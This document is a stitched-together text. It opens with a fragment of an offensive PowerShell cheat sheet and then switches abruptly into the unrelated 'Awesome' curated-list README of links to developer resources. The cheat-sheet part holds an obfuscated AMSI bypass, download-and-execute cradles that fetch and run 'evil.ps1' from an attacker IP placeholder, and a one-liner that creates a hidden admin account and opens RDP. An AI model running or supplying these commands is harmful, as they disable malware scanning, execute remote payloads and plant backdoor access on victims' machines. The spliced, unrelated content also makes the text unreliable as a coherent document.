S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
```
Invoke-Command -Scriptblock {S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )} $sess
```
#### Download and execute cradle
- Usefull tool: https://github.com/danielbohannon/Invoke-CradleCrafter
```
iex (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/payload.ps1')
$ie=New-Object -ComObjectInternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://xx.xx.xx.xx/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
#PSv3 onwards
iex (iwr 'http://xx.xx.xx.xx/evil.ps1')
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://xx.xx.xx.xx/evil.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("http://xx.xx.xx.xx/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
```
### Add user to local admin and RDP group and enable RDP on firewall
```
net user <USERNAME> <PASSWORD> /add /Y && net localgroup administrators <USERNAME> /add && net localgroup "Remote Desktop Users" <USERNAME> /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<hr>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://github.com/botpress/botpress">
<img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress">
</a>
<br>
<sub><b>Botpress is an open-source conversational assistant creation platform.</b></sub>
<br>
<sub>They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.</sub>
<br>
</p>
<hr>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
